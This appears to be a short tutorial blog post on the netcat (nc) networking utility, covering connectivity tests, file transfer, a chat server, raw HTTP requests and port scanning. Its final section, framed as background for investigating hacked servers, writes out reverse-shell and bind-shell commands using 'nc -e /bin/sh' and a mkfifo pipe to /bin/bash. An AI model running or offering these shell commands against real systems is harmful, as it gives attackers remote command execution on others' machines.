netcat – The TCP/IP swiss army knife
netcat (abbreviated nc) is a networking utility to read and write content with networking connections(TCP or UDP).
nc has rich features and many built-in capabilities, it’s a perfect tool for networking debugging and investigation.
Some typical usage is:
Test TCP connection
nc -zv [host or ip] [port]
-z means run
nc in Zero-I/O mode, this is used for scanning or connectivity testing.
-v means run in verbose mode, so output will contain more information:
nc outputs the data received from connection, we can use it to transfer file from client to server.
Run command in the server side:
nc -l 1499 > data.out
Run command in the client side:
nc server.com 1499 < data.in
Create a simple server or client
nc could be used to create a simple server or client. Let’s build a chat server with a client:
Firstly, we start a server and listen to port 1234:
nc -l 1234
Then we start a client and connect to the same port:
nc 127.0.0.1 1234
After the connection is created successfully, the client could send a message to the server, server could also send messages to the client.
Use “Ctrl-C” on any side to disconnect and quit it.
Send an HTTP request
nc, of course, could be used to send an HTTP request from the terminal. We can use a pipeline to pass the request header and body.
echo -ne "GET / HTTP/1.1\r\nhost:coderscat.com\r\n\r\n" | nc -v coderscat.com 443
The output indicates we send HTTP request successfully. But 443 is the port for HTTPS, which will reject the plain request.
nc can be used to scan multiple ports. This is useful when you don’t know which port is open.
nc -v -n 127.0.0.1 port-range
In this case, we create a server listens to the port 1234, then use
nc to scan the port range of
Launching Reverse Shells (Backdoor)
If you have investigated a server that is suspected of being hacked, you will know an important thing is to have a check on the processes of
nc can be used be run a reverse shell. So that a hacker may execute commands on your server.
nc 127.0.0.1 4444 -e /bin/sh
nc server-host.example.com 4444
NOTE: If the installed
nc is an OpenBSD variant, there will no such a
-e option to execute a shell.
For instance, if I run command line
nc 127.0.0.1 4444 -e /bin/sh, the output will be:
nc: unrecognized option `-e'
An alternative way to workaround is:
mkfifo foo ; nc -lk 4444 0<foo | /bin/bash 1>foo